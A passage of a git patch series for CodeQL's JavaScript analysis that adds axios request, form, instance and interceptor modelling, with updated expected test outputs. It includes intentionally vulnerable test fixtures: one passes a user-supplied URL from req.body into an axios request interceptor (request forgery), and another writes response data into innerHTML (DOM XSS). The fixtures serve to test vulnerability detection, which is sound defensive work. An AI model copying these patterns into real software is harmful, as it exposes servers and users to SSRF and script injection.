[this.getArgument(1), this.getOptionArgument(2, "data")] or + method = ["postForm"] and result = this.getArgument(1) + or result = this.getOptionArgument([0 .. 2], ["headers", "params"]) } diff --git a/javascript/ql/test/library-tests/frameworks/ClientRequests/ClientRequests.expected b/javascript/ql/test/library-tests/frameworks/ClientRequests/ClientRequests.expected index bb3a7300453..c5610e532f5 100644 --- a/javascript/ql/test/library-tests/frameworks/ClientRequests/ClientRequests.expected +++ b/javascript/ql/test/library-tests/frameworks/ClientRequests/ClientRequests.expected @@ -103,6 +103,7 @@ test_ClientRequest | tst.js:334:5:334:25 | got.pag ... rl, {}) | | tst.js:337:5:337:20 | jsonClient.get() | | tst.js:340:5:340:21 | jsonClient2.get() | +| tst.js:344:5:344:37 | axios.p ... config) | test_getADataNode | axiosTest.js:12:5:17:6 | axios({ ... \\n }) | axiosTest.js:15:18:15:55 | { 'Cont ... json' } | | axiosTest.js:12:5:17:6 | axios({ ... \\n }) | axiosTest.js:16:15:16:35 | {x: 'te ... 'test'} | @@ -146,6 +147,7 @@ test_getADataNode | tst.js:257:1:262:2 | form.su ... rs()\\n}) | tst.js:255:25:255:35 | 'new_value' | | tst.js:286:20:286:55 | new Web ... :8080') | tst.js:288:21:288:35 | 'Hello Server!' | | tst.js:321:5:321:32 | superag ... st(url) | tst.js:321:39:321:42 | data | +| tst.js:344:5:344:37 | axios.p ... config) | tst.js:344:25:344:28 | data | test_getHost | tst.js:87:5:87:39 | http.ge ... host}) | tst.js:87:34:87:37 | host | | tst.js:89:5:89:23 | axios({host: host}) | tst.js:89:18:89:21 | host | @@ -268,6 +270,7 @@ test_getUrl | tst.js:337:5:337:20 | jsonClient.get() | tst.js:336:41:336:43 | url | | tst.js:340:5:340:21 | jsonClient2.get() | tst.js:339:42:339:44 | url | | tst.js:340:5:340:21 | jsonClient2.get() | tst.js:339:61:339:63 | url | +| tst.js:344:5:344:37 | axios.p ... config) | tst.js:344:20:344:22 | url | test_getAResponseDataNode | axiosTest.js:4:5:7:6 | axios({ ... \\n }) | axiosTest.js:4:5:7:6 | axios({ ... \\n }) | json | true | | axiosTest.js:12:5:17:6 | axios({ ... \\n }) | axiosTest.js:12:5:17:6 | axios({ ... \\n }) | json | true | @@ -354,3 +357,4 @@ test_getAResponseDataNode | tst.js:334:5:334:25 | got.pag ... rl, {}) | tst.js:334:5:334:25 | got.pag ... rl, {}) | text | true | | tst.js:337:5:337:20 | jsonClient.get() | tst.js:337:5:337:20 | jsonClient.get() | text | true | | tst.js:340:5:340:21 | jsonClient2.get() | tst.js:340:5:340:21 | jsonClient2.get() | text | true | +| tst.js:344:5:344:37 | axios.p ... config) | tst.js:344:5:344:37 | axios.p ... config) | json | true | diff --git a/javascript/ql/test/library-tests/frameworks/ClientRequests/tst.js b/javascript/ql/test/library-tests/frameworks/ClientRequests/tst.js index 580627682cf..0c34a0ffc51 100644 --- a/javascript/ql/test/library-tests/frameworks/ClientRequests/tst.js +++ b/javascript/ql/test/library-tests/frameworks/ClientRequests/tst.js @@ -341,7 +341,7 @@ function gotTests(url){ } function moreAxiosTests(url, data, config){ - axios.postForm(url, data, config); // not flagged + axios.postForm(url, data, config); axios.putForm(url, data); // not flagged axios.putForm(url, data, config); // not flagged axios.patchForm(url, data); // not flagged From 7fe943d8b21dab23d8f1a7a73d70edcd3072faa6 Mon Sep 17 00:00:00 2001 From: Napalys Date: Mon, 24 Mar 2025 08:10:30 +0100 Subject: [PATCH 036/121] Added support for `putForm`. --- .../lib/semmle/javascript/frameworks/ClientRequests.qll | 4 ++-- .../frameworks/ClientRequests/ClientRequests.expected | 8 ++++++++ .../test/library-tests/frameworks/ClientRequests/tst.js | 4 ++-- 3 files changed, 12 insertions(+), 4 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/frameworks/ClientRequests.qll b/javascript/ql/lib/semmle/javascript/frameworks/ClientRequests.qll index e137b66c140..9e98e52d741 100644 --- a/javascript/ql/lib/semmle/javascript/frameworks/ClientRequests.qll +++ b/javascript/ql/lib/semmle/javascript/frameworks/ClientRequests.qll @@ -222,7 +222,7 @@ module ClientRequest { method = "request" or this = axios().getMember(method).getACall() and - method = [httpMethodName(), "request", "postForm"] + method = [httpMethodName(), "request", "postForm", "putForm"] } private int getOptionsArgIndex() { @@ -254,7 +254,7 @@ module ClientRequest { method = ["post", "put"] and result = [this.getArgument(1), this.getOptionArgument(2, "data")] or - method = ["postForm"] and result = this.getArgument(1) + method = ["postForm", "putForm"] and result = this.getArgument(1) or result = this.getOptionArgument([0 .. 2], ["headers", "params"]) } diff --git a/javascript/ql/test/library-tests/frameworks/ClientRequests/ClientRequests.expected b/javascript/ql/test/library-tests/frameworks/ClientRequests/ClientRequests.expected index c5610e532f5..5e4afe2d4e6 100644 --- a/javascript/ql/test/library-tests/frameworks/ClientRequests/ClientRequests.expected +++ b/javascript/ql/test/library-tests/frameworks/ClientRequests/ClientRequests.expected @@ -104,6 +104,8 @@ test_ClientRequest | tst.js:337:5:337:20 | jsonClient.get() | | tst.js:340:5:340:21 | jsonClient2.get() | | tst.js:344:5:344:37 | axios.p ... config) | +| tst.js:345:5:345:28 | axios.p ... , data) | +| tst.js:346:5:346:36 | axios.p ... config) | test_getADataNode | axiosTest.js:12:5:17:6 | axios({ ... \\n }) | axiosTest.js:15:18:15:55 | { 'Cont ... json' } | | axiosTest.js:12:5:17:6 | axios({ ... \\n }) | axiosTest.js:16:15:16:35 | {x: 'te ... 'test'} | @@ -148,6 +150,8 @@ test_getADataNode | tst.js:286:20:286:55 | new Web ... :8080') | tst.js:288:21:288:35 | 'Hello Server!' | | tst.js:321:5:321:32 | superag ... st(url) | tst.js:321:39:321:42 | data | | tst.js:344:5:344:37 | axios.p ... config) | tst.js:344:25:344:28 | data | +| tst.js:345:5:345:28 | axios.p ... , data) | tst.js:345:24:345:27 | data | +| tst.js:346:5:346:36 | axios.p ... config) | tst.js:346:24:346:27 | data | test_getHost | tst.js:87:5:87:39 | http.ge ... host}) | tst.js:87:34:87:37 | host | | tst.js:89:5:89:23 | axios({host: host}) | tst.js:89:18:89:21 | host | @@ -271,6 +275,8 @@ test_getUrl | tst.js:340:5:340:21 | jsonClient2.get() | tst.js:339:42:339:44 | url | | tst.js:340:5:340:21 | jsonClient2.get() | tst.js:339:61:339:63 | url | | tst.js:344:5:344:37 | axios.p ... config) | tst.js:344:20:344:22 | url | +| tst.js:345:5:345:28 | axios.p ... , data) | tst.js:345:19:345:21 | url | +| tst.js:346:5:346:36 | axios.p ... config) | tst.js:346:19:346:21 | url | test_getAResponseDataNode | axiosTest.js:4:5:7:6 | axios({ ... \\n }) | axiosTest.js:4:5:7:6 | axios({ ... \\n }) | json | true | | axiosTest.js:12:5:17:6 | axios({ ... \\n }) | axiosTest.js:12:5:17:6 | axios({ ... \\n }) | json | true | @@ -358,3 +364,5 @@ test_getAResponseDataNode | tst.js:337:5:337:20 | jsonClient.get() | tst.js:337:5:337:20 | jsonClient.get() | text | true | | tst.js:340:5:340:21 | jsonClient2.get() | tst.js:340:5:340:21 | jsonClient2.get() | text | true | | tst.js:344:5:344:37 | axios.p ... config) | tst.js:344:5:344:37 | axios.p ... config) | json | true | +| tst.js:345:5:345:28 | axios.p ... , data) | tst.js:345:5:345:28 | axios.p ... , data) | json | true | +| tst.js:346:5:346:36 | axios.p ... config) | tst.js:346:5:346:36 | axios.p ... config) | json | true | diff --git a/javascript/ql/test/library-tests/frameworks/ClientRequests/tst.js b/javascript/ql/test/library-tests/frameworks/ClientRequests/tst.js index 0c34a0ffc51..0ed72f6dd70 100644 --- a/javascript/ql/test/library-tests/frameworks/ClientRequests/tst.js +++ b/javascript/ql/test/library-tests/frameworks/ClientRequests/tst.js @@ -342,8 +342,8 @@ function gotTests(url){ function moreAxiosTests(url, data, config){ axios.postForm(url, data, config); - axios.putForm(url, data); // not flagged - axios.putForm(url, data, config); // not flagged + axios.putForm(url, data); + axios.putForm(url, data, config); axios.patchForm(url, data); // not flagged axios.patchForm(url, data, config); // not flagged axios.getUri({ url: url }); // not flagged From f48a362d71919ef235618d33e10f2f163e93142b Mon Sep 17 00:00:00 2001 From: Napalys Date: Mon, 24 Mar 2025 08:12:35 +0100 Subject: [PATCH 037/121] Added support for `patchForm`. --- .../lib/semmle/javascript/frameworks/ClientRequests.qll | 4 ++-- .../frameworks/ClientRequests/ClientRequests.expected | 8 ++++++++ .../test/library-tests/frameworks/ClientRequests/tst.js | 4 ++-- 3 files changed, 12 insertions(+), 4 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/frameworks/ClientRequests.qll b/javascript/ql/lib/semmle/javascript/frameworks/ClientRequests.qll index 9e98e52d741..91238dd23bb 100644 --- a/javascript/ql/lib/semmle/javascript/frameworks/ClientRequests.qll +++ b/javascript/ql/lib/semmle/javascript/frameworks/ClientRequests.qll @@ -222,7 +222,7 @@ module ClientRequest { method = "request" or this = axios().getMember(method).getACall() and - method = [httpMethodName(), "request", "postForm", "putForm"] + method = [httpMethodName(), "request", "postForm", "putForm", "patchForm"] } private int getOptionsArgIndex() { @@ -254,7 +254,7 @@ module ClientRequest { method = ["post", "put"] and result = [this.getArgument(1), this.getOptionArgument(2, "data")] or - method = ["postForm", "putForm"] and result = this.getArgument(1) + method = ["postForm", "putForm", "patchForm"] and result = this.getArgument(1) or result = this.getOptionArgument([0 .. 2], ["headers", "params"]) } diff --git a/javascript/ql/test/library-tests/frameworks/ClientRequests/ClientRequests.expected b/javascript/ql/test/library-tests/frameworks/ClientRequests/ClientRequests.expected index 5e4afe2d4e6..28f77239c2f 100644 --- a/javascript/ql/test/library-tests/frameworks/ClientRequests/ClientRequests.expected +++ b/javascript/ql/test/library-tests/frameworks/ClientRequests/ClientRequests.expected @@ -106,6 +106,8 @@ test_ClientRequest | tst.js:344:5:344:37 | axios.p ... config) | | tst.js:345:5:345:28 | axios.p ... , data) | | tst.js:346:5:346:36 | axios.p ... config) | +| tst.js:347:5:347:30 | axios.p ... , data) | +| tst.js:348:5:348:38 | axios.p ... config) | test_getADataNode | axiosTest.js:12:5:17:6 | axios({ ... \\n }) | axiosTest.js:15:18:15:55 | { 'Cont ... json' } | | axiosTest.js:12:5:17:6 | axios({ ... \\n }) | axiosTest.js:16:15:16:35 | {x: 'te ... 'test'} | @@ -152,6 +154,8 @@ test_getADataNode | tst.js:344:5:344:37 | axios.p ... config) | tst.js:344:25:344:28 | data | | tst.js:345:5:345:28 | axios.p ... , data) | tst.js:345:24:345:27 | data | | tst.js:346:5:346:36 | axios.p ... config) | tst.js:346:24:346:27 | data | +| tst.js:347:5:347:30 | axios.p ... , data) | tst.js:347:26:347:29 | data | +| tst.js:348:5:348:38 | axios.p ... config) | tst.js:348:26:348:29 | data | test_getHost | tst.js:87:5:87:39 | http.ge ... host}) | tst.js:87:34:87:37 | host | | tst.js:89:5:89:23 | axios({host: host}) | tst.js:89:18:89:21 | host | @@ -277,6 +281,8 @@ test_getUrl | tst.js:344:5:344:37 | axios.p ... config) | tst.js:344:20:344:22 | url | | tst.js:345:5:345:28 | axios.p ... , data) | tst.js:345:19:345:21 | url | | tst.js:346:5:346:36 | axios.p ... config) | tst.js:346:19:346:21 | url | +| tst.js:347:5:347:30 | axios.p ... , data) | tst.js:347:21:347:23 | url | +| tst.js:348:5:348:38 | axios.p ... config) | tst.js:348:21:348:23 | url | test_getAResponseDataNode | axiosTest.js:4:5:7:6 | axios({ ... \\n }) | axiosTest.js:4:5:7:6 | axios({ ... \\n }) | json | true | | axiosTest.js:12:5:17:6 | axios({ ... \\n }) | axiosTest.js:12:5:17:6 | axios({ ... \\n }) | json | true | @@ -366,3 +372,5 @@ test_getAResponseDataNode | tst.js:344:5:344:37 | axios.p ... config) | tst.js:344:5:344:37 | axios.p ... config) | json | true | | tst.js:345:5:345:28 | axios.p ... , data) | tst.js:345:5:345:28 | axios.p ... , data) | json | true | | tst.js:346:5:346:36 | axios.p ... config) | tst.js:346:5:346:36 | axios.p ... config) | json | true | +| tst.js:347:5:347:30 | axios.p ... , data) | tst.js:347:5:347:30 | axios.p ... , data) | json | true | +| tst.js:348:5:348:38 | axios.p ... config) | tst.js:348:5:348:38 | axios.p ... config) | json | true | diff --git a/javascript/ql/test/library-tests/frameworks/ClientRequests/tst.js b/javascript/ql/test/library-tests/frameworks/ClientRequests/tst.js index 0ed72f6dd70..f421de685b5 100644 --- a/javascript/ql/test/library-tests/frameworks/ClientRequests/tst.js +++ b/javascript/ql/test/library-tests/frameworks/ClientRequests/tst.js @@ -344,7 +344,7 @@ function moreAxiosTests(url, data, config){ axios.postForm(url, data, config); axios.putForm(url, data); axios.putForm(url, data, config); - axios.patchForm(url, data); // not flagged - axios.patchForm(url, data, config); // not flagged + axios.patchForm(url, data); + axios.patchForm(url, data, config); axios.getUri({ url: url }); // not flagged } From c0d848cdf1ca18a67f8c0a536f4b0edb911262a1 Mon Sep 17 00:00:00 2001 From: Napalys Date: Mon, 24 Mar 2025 08:20:38 +0100 Subject: [PATCH 038/121] Added support for `getUri`. --- .../ql/lib/semmle/javascript/frameworks/ClientRequests.qll | 2 +- .../frameworks/ClientRequests/ClientRequests.expected | 3 +++ .../ql/test/library-tests/frameworks/ClientRequests/tst.js | 2 +- 3 files changed, 5 insertions(+), 2 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/frameworks/ClientRequests.qll b/javascript/ql/lib/semmle/javascript/frameworks/ClientRequests.qll index 91238dd23bb..f4c1f69ace3 100644 --- a/javascript/ql/lib/semmle/javascript/frameworks/ClientRequests.qll +++ b/javascript/ql/lib/semmle/javascript/frameworks/ClientRequests.qll @@ -222,7 +222,7 @@ module ClientRequest { method = "request" or this = axios().getMember(method).getACall() and - method = [httpMethodName(), "request", "postForm", "putForm", "patchForm"] + method = [httpMethodName(), "request", "postForm", "putForm", "patchForm", "getUri"] } private int getOptionsArgIndex() { diff --git a/javascript/ql/test/library-tests/frameworks/ClientRequests/ClientRequests.expected b/javascript/ql/test/library-tests/frameworks/ClientRequests/ClientRequests.expected index 28f77239c2f..d91c7e61009 100644 --- a/javascript/ql/test/library-tests/frameworks/ClientRequests/ClientRequests.expected +++ b/javascript/ql/test/library-tests/frameworks/ClientRequests/ClientRequests.expected @@ -108,6 +108,7 @@ test_ClientRequest | tst.js:346:5:346:36 | axios.p ... config) | | tst.js:347:5:347:30 | axios.p ... , data) | | tst.js:348:5:348:38 | axios.p ... config) | +| tst.js:349:5:349:30 | axios.g ... url }) | test_getADataNode | axiosTest.js:12:5:17:6 | axios({ ... \\n }) | axiosTest.js:15:18:15:55 | { 'Cont ... json' } | | axiosTest.js:12:5:17:6 | axios({ ... \\n }) | axiosTest.js:16:15:16:35 | {x: 'te ... 'test'} | @@ -283,6 +284,7 @@ test_getUrl | tst.js:346:5:346:36 | axios.p ... config) | tst.js:346:19:346:21 | url | | tst.js:347:5:347:30 | axios.p ... , data) | tst.js:347:21:347:23 | url | | tst.js:348:5:348:38 | axios.p ... config) | tst.js:348:21:348:23 | url | +| tst.js:349:5:349:30 | axios.g ... url }) | tst.js:349:18:349:29 | { url: url } | test_getAResponseDataNode | axiosTest.js:4:5:7:6 | axios({ ... \\n }) | axiosTest.js:4:5:7:6 | axios({ ... \\n }) | json | true | | axiosTest.js:12:5:17:6 | axios({ ... \\n }) | axiosTest.js:12:5:17:6 | axios({ ... \\n }) | json | true | @@ -374,3 +376,4 @@ test_getAResponseDataNode | tst.js:346:5:346:36 | axios.p ... config) | tst.js:346:5:346:36 | axios.p ... config) | json | true | | tst.js:347:5:347:30 | axios.p ... , data) | tst.js:347:5:347:30 | axios.p ... , data) | json | true | | tst.js:348:5:348:38 | axios.p ... config) | tst.js:348:5:348:38 | axios.p ... config) | json | true | +| tst.js:349:5:349:30 | axios.g ... url }) | tst.js:349:5:349:30 | axios.g ... url }) | json | true | diff --git a/javascript/ql/test/library-tests/frameworks/ClientRequests/tst.js b/javascript/ql/test/library-tests/frameworks/ClientRequests/tst.js index f421de685b5..43c46c9ec30 100644 --- a/javascript/ql/test/library-tests/frameworks/ClientRequests/tst.js +++ b/javascript/ql/test/library-tests/frameworks/ClientRequests/tst.js @@ -346,5 +346,5 @@ function moreAxiosTests(url, data, config){ axios.putForm(url, data, config); axios.patchForm(url, data); axios.patchForm(url, data, config); - axios.getUri({ url: url }); // not flagged + axios.getUri({ url: url }); } From 8f2adb6543c8449f3da5faa37c6d2cdc50e237a4 Mon Sep 17 00:00:00 2001 From: Napalys Date: Mon, 24 Mar 2025 08:53:37 +0100 Subject: [PATCH 039/121] Added test case for `create`. --- .../ql/test/library-tests/frameworks/ClientRequests/tst.js | 3 +++ 1 file changed, 3 insertions(+) diff --git a/javascript/ql/test/library-tests/frameworks/ClientRequests/tst.js b/javascript/ql/test/library-tests/frameworks/ClientRequests/tst.js index 43c46c9ec30..32950b6be28 100644 --- a/javascript/ql/test/library-tests/frameworks/ClientRequests/tst.js +++ b/javascript/ql/test/library-tests/frameworks/ClientRequests/tst.js @@ -347,4 +347,7 @@ function moreAxiosTests(url, data, config){ axios.patchForm(url, data); axios.patchForm(url, data, config); axios.getUri({ url: url }); + + const axiosInstance = axios.create({}); + axiosInstance({method: "get", url: url, responseType: "text"}); // Not flagged } From a3c84d9feb7f8ee0f59a8fac01d7ef66ea0f910a Mon Sep 17 00:00:00 2001 From: Napalys Date: Mon, 24 Mar 2025 08:54:19 +0100 Subject: [PATCH 040/121] Added support for `axios.create`. --- .../ql/lib/semmle/javascript/frameworks/ClientRequests.qll | 3 +++ .../frameworks/ClientRequests/ClientRequests.expected | 4 ++++ .../ql/test/library-tests/frameworks/ClientRequests/tst.js | 2 +- 3 files changed, 8 insertions(+), 1 deletion(-) diff --git a/javascript/ql/lib/semmle/javascript/frameworks/ClientRequests.qll b/javascript/ql/lib/semmle/javascript/frameworks/ClientRequests.qll index f4c1f69ace3..673bdf2de33 100644 --- a/javascript/ql/lib/semmle/javascript/frameworks/ClientRequests.qll +++ b/javascript/ql/lib/semmle/javascript/frameworks/ClientRequests.qll @@ -223,6 +223,9 @@ module ClientRequest { or this = axios().getMember(method).getACall() and method = [httpMethodName(), "request", "postForm", "putForm", "patchForm", "getUri"] + or + this = axios().getMember("create").getReturn().getACall() and + method = "request" } private int getOptionsArgIndex() { diff --git a/javascript/ql/test/library-tests/frameworks/ClientRequests/ClientRequests.expected b/javascript/ql/test/library-tests/frameworks/ClientRequests/ClientRequests.expected index d91c7e61009..f787a7e6060 100644 --- a/javascript/ql/test/library-tests/frameworks/ClientRequests/ClientRequests.expected +++ b/javascript/ql/test/library-tests/frameworks/ClientRequests/ClientRequests.expected @@ -109,6 +109,7 @@ test_ClientRequest | tst.js:347:5:347:30 | axios.p ... , data) | | tst.js:348:5:348:38 | axios.p ... config) | | tst.js:349:5:349:30 | axios.g ... url }) | +| tst.js:352:5:352:66 | axiosIn ... text"}) | test_getADataNode | axiosTest.js:12:5:17:6 | axios({ ... \\n }) | axiosTest.js:15:18:15:55 | { 'Cont ... json' } | | axiosTest.js:12:5:17:6 | axios({ ... \\n }) | axiosTest.js:16:15:16:35 | {x: 'te ... 'test'} | @@ -285,6 +286,8 @@ test_getUrl | tst.js:347:5:347:30 | axios.p ... , data) | tst.js:347:21:347:23 | url | | tst.js:348:5:348:38 | axios.p ... config) | tst.js:348:21:348:23 | url | | tst.js:349:5:349:30 | axios.g ... url }) | tst.js:349:18:349:29 | { url: url } | +| tst.js:352:5:352:66 | axiosIn ... text"}) | tst.js:352:19:352:65 | {method ... "text"} | +| tst.js:352:5:352:66 | axiosIn ... text"}) | tst.js:352:40:352:42 | url | test_getAResponseDataNode | axiosTest.js:4:5:7:6 | axios({ ... \\n }) | axiosTest.js:4:5:7:6 | axios({ ... \\n }) | json | true | | axiosTest.js:12:5:17:6 | axios({ ... \\n }) | axiosTest.js:12:5:17:6 | axios({ ... \\n }) | json | true | @@ -377,3 +380,4 @@ test_getAResponseDataNode | tst.js:347:5:347:30 | axios.p ... , data) | tst.js:347:5:347:30 | axios.p ... , data) | json | true | | tst.js:348:5:348:38 | axios.p ... config) | tst.js:348:5:348:38 | axios.p ... config) | json | true | | tst.js:349:5:349:30 | axios.g ... url }) | tst.js:349:5:349:30 | axios.g ... url }) | json | true | +| tst.js:352:5:352:66 | axiosIn ... text"}) | tst.js:352:5:352:66 | axiosIn ... text"}) | text | true | diff --git a/javascript/ql/test/library-tests/frameworks/ClientRequests/tst.js b/javascript/ql/test/library-tests/frameworks/ClientRequests/tst.js index 32950b6be28..3cd086fae0e 100644 --- a/javascript/ql/test/library-tests/frameworks/ClientRequests/tst.js +++ b/javascript/ql/test/library-tests/frameworks/ClientRequests/tst.js @@ -349,5 +349,5 @@ function moreAxiosTests(url, data, config){ axios.getUri({ url: url }); const axiosInstance = axios.create({}); - axiosInstance({method: "get", url: url, responseType: "text"}); // Not flagged + axiosInstance({method: "get", url: url, responseType: "text"}); } From ea181e41739873c9971558adf6a39d629c17a1eb Mon Sep 17 00:00:00 2001 From: Napalys Date: Mon, 24 Mar 2025 11:32:35 +0100 Subject: [PATCH 041/121] Added test case for `axios.interceptors.request` --- .../CWE-918/axiosInterceptors.serverSide.js | 22 +++++++++++++++++++ 1 file changed, 22 insertions(+) create mode 100644 javascript/ql/test/query-tests/Security/CWE-918/axiosInterceptors.serverSide.js diff --git a/javascript/ql/test/query-tests/Security/CWE-918/axiosInterceptors.serverSide.js b/javascript/ql/test/query-tests/Security/CWE-918/axiosInterceptors.serverSide.js new file mode 100644 index 00000000000..a5697acdf2e --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-918/axiosInterceptors.serverSide.js @@ -0,0 +1,22 @@ +const express = require("express"); +const axios = require("axios"); + +const app = express(); + +let userProvidedUrl = ""; + +axios.interceptors.request.use( + function (config) { + if (userProvidedUrl) { + config.url = userProvidedUrl; // $ MISSING: Alert[js/request-forgery] + } + return config; + }, + error => error +); + +app.post("/fetch", (req, res) => { + const { url } = req.body; // $ MISSING: Source[js/request-forgery] + userProvidedUrl = url; + axios.get("placeholder"); +}); From 10498bbaa47a65015696ceb426cab865b5926eb0 Mon Sep 17 00:00:00 2001 From: Napalys Date: Tue, 25 Mar 2025 10:54:56 +0100 Subject: [PATCH 042/121] Added support for `axios.interceptors.request`. --- javascript/ql/lib/ext/axios.model.yml | 6 ++++++ .../Security/CWE-918/RequestForgery.expected | 12 ++++++++++++ .../Security/CWE-918/axiosInterceptors.serverSide.js | 4 ++-- 3 files changed, 20 insertions(+), 2 deletions(-) create mode 100644 javascript/ql/lib/ext/axios.model.yml diff --git a/javascript/ql/lib/ext/axios.model.yml b/javascript/ql/lib/ext/axios.model.yml new file mode 100644 index 00000000000..7fdab986858 --- /dev/null +++ b/javascript/ql/lib/ext/axios.model.yml @@ -0,0 +1,6 @@ +extensions: + - addsTo: + pack: codeql/javascript-all + extensible: sinkModel + data: + - ["axios", "Member[interceptors].Member[request].Member[use].Argument[0].Parameter[0].Member[url]", "request-forgery"] diff --git a/javascript/ql/test/query-tests/Security/CWE-918/RequestForgery.expected b/javascript/ql/test/query-tests/Security/CWE-918/RequestForgery.expected index a8ed8b29b4b..6b33506d502 100644 --- a/javascript/ql/test/query-tests/Security/CWE-918/RequestForgery.expected +++ b/javascript/ql/test/query-tests/Security/CWE-918/RequestForgery.expected @@ -1,5 +1,6 @@ #select | apollo.serverSide.ts:8:39:8:64 | get(fil ... => {}) | apollo.serverSide.ts:7:36:7:44 | { files } | apollo.serverSide.ts:8:43:8:50 | file.url | The $@ of this request depends on a $@. | apollo.serverSide.ts:8:43:8:50 | file.url | URL | apollo.serverSide.ts:7:36:7:44 | { files } | user-provided value | +| axiosInterceptors.serverSide.js:11:26:11:40 | userProvidedUrl | axiosInterceptors.serverSide.js:19:21:19:28 | req.body | axiosInterceptors.serverSide.js:11:26:11:40 | userProvidedUrl | The $@ of this request depends on a $@. | axiosInterceptors.serverSide.js:11:26:11:40 | userProvidedUrl | endpoint | axiosInterceptors.serverSide.js:19:21:19:28 | req.body | user-provided value | | serverSide.js:18:5:18:20 | request(tainted) | serverSide.js:14:29:14:35 | req.url | serverSide.js:18:13:18:19 | tainted | The $@ of this request depends on a $@. | serverSide.js:18:13:18:19 | tainted | URL | serverSide.js:14:29:14:35 | req.url | user-provided value | | serverSide.js:20:5:20:24 | request.get(tainted) | serverSide.js:14:29:14:35 | req.url | serverSide.js:20:17:20:23 | tainted | The $@ of this request depends on a $@. | serverSide.js:20:17:20:23 | tainted | URL | serverSide.js:14:29:14:35 | req.url | user-provided value | | serverSide.js:24:5:24:20 | request(options) | serverSide.js:14:29:14:35 | req.url | serverSide.js:23:19:23:25 | tainted | The $@ of this request depends on a $@. | serverSide.js:23:19:23:25 | tainted | URL | serverSide.js:14:29:14:35 | req.url | user-provided value | @@ -30,6 +31,11 @@ edges | apollo.serverSide.ts:8:13:8:17 | files | apollo.serverSide.ts:8:28:8:31 | file | provenance | | | apollo.serverSide.ts:8:28:8:31 | file | apollo.serverSide.ts:8:43:8:46 | file | provenance | | | apollo.serverSide.ts:8:43:8:46 | file | apollo.serverSide.ts:8:43:8:50 | file.url | provenance | | +| axiosInterceptors.serverSide.js:19:11:19:17 | { url } | axiosInterceptors.serverSide.js:19:11:19:28 | url | provenance | | +| axiosInterceptors.serverSide.js:19:11:19:28 | url | axiosInterceptors.serverSide.js:20:23:20:25 | url | provenance | | +| axiosInterceptors.serverSide.js:19:21:19:28 | req.body | axiosInterceptors.serverSide.js:19:11:19:17 | { url } | provenance | | +| axiosInterceptors.serverSide.js:20:5:20:25 | userProvidedUrl | axiosInterceptors.serverSide.js:11:26:11:40 | userProvidedUrl | provenance | | +| axiosInterceptors.serverSide.js:20:23:20:25 | url | axiosInterceptors.serverSide.js:20:5:20:25 | userProvidedUrl | provenance | | | serverSide.js:14:9:14:52 | tainted | serverSide.js:18:13:18:19 | tainted | provenance | | | serverSide.js:14:9:14:52 | tainted | serverSide.js:20:17:20:23 | tainted | provenance | | | serverSide.js:14:9:14:52 | tainted | serverSide.js:23:19:23:25 | tainted | provenance | | @@ -85,6 +91,12 @@ nodes | apollo.serverSide.ts:8:28:8:31 | file | semmle.label | file | | apollo.serverSide.ts:8:43:8:46 | file | semmle.label | file | | apollo.serverSide.ts:8:43:8:50 | file.url | semmle.label | file.url | +| axiosInterceptors.serverSide.js:11:26:11:40 | userProvidedUrl | semmle.label | userProvidedUrl | +| axiosInterceptors.serverSide.js:19:11:19:17 | { url } | semmle.label | { url } | +| axiosInterceptors.serverSide.js:19:11:19:28 | url | semmle.label | url | +| axiosInterceptors.serverSide.js:19:21:19:28 | req.body | semmle.label | req.body | +| axiosInterceptors.serverSide.js:20:5:20:25 | userProvidedUrl | semmle.label | userProvidedUrl | +| axiosInterceptors.serverSide.js:20:23:20:25 | url | semmle.label | url | | serverSide.js:14:9:14:52 | tainted | semmle.label | tainted | | serverSide.js:14:19:14:42 | url.par ... , true) | semmle.label | url.par ... , true) | | serverSide.js:14:29:14:35 | req.url | semmle.label | req.url | diff --git a/javascript/ql/test/query-tests/Security/CWE-918/axiosInterceptors.serverSide.js b/javascript/ql/test/query-tests/Security/CWE-918/axiosInterceptors.serverSide.js index a5697acdf2e..12e95a326cb 100644 --- a/javascript/ql/test/query-tests/Security/CWE-918/axiosInterceptors.serverSide.js +++ b/javascript/ql/test/query-tests/Security/CWE-918/axiosInterceptors.serverSide.js @@ -8,7 +8,7 @@ let userProvidedUrl = ""; axios.interceptors.request.use( function (config) { if (userProvidedUrl) { - config.url = userProvidedUrl; // $ MISSING: Alert[js/request-forgery] + config.url = userProvidedUrl; // $ Alert[js/request-forgery] } return config; }, @@ -16,7 +16,7 @@ axios.interceptors.request.use( ); app.post("/fetch", (req, res) => { - const { url } = req.body; // $ MISSING: Source[js/request-forgery] + const { url } = req.body; // $ Source[js/request-forgery] userProvidedUrl = url; axios.get("placeholder"); }); From 20bb831ce9c36de2f8d5a9bab20d02453f774171 Mon Sep 17 00:00:00 2001 From: Napalys Date: Mon, 24 Mar 2025 11:40:55 +0100 Subject: [PATCH 043/121] Added test case for `axios.interceptors.response` with missing alert. --- .../CWE-079/DomBasedXss/interceptors.js | 20 +++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100644 javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/interceptors.js diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/interceptors.js b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/interceptors.js new file mode 100644 index 00000000000..8d6da238ee7 --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/interceptors.js @@ -0,0 +1,20 @@ +const express = require("express"); +const axios = require("axios"); + +const app = express(); + +axios.interceptors.response.use( + (response) => { // $ MISSING: Source + const userGeneratedHtml = response.data; + document.getElementById("content").innerHTML = userGeneratedHtml; // $ MISSING: Alert + return response; + }, + (error) => { + return Promise.reject(error); + } +); + +app.post("/fetch", (req, res) => { + const { url } = req.body; + axios.get(url); +}); From 1ee3fde2142ccec1f8eb4366cf124c4a40a012e2 Mon Sep 17 00:00:00 2001 From: Napalys Date: Mon, 24 Mar 2025 11:43:41 +0100 Subject: [PATCH 044/121] Added support for `axios.interceptors.response`. --- javascript/ql/lib/ext/axios.model.yml | 6 ++++++ .../query-tests/Security/CWE-079/DomBasedXss/Xss.expected | 8 ++++++++ .../CWE-079/DomBasedXss/XssWithAdditionalSources.expected | 7 +++++++ .../Security/CWE-079/DomBasedXss/interceptors.js | 4 ++-- 4 files changed, 23 insertions(+), 2 deletions(-) diff --git a/javascript/ql/lib/ext/axios.model.yml b/javascript/ql/lib/ext/axios.model.yml index 7fdab986858..78a52524478 100644 --- 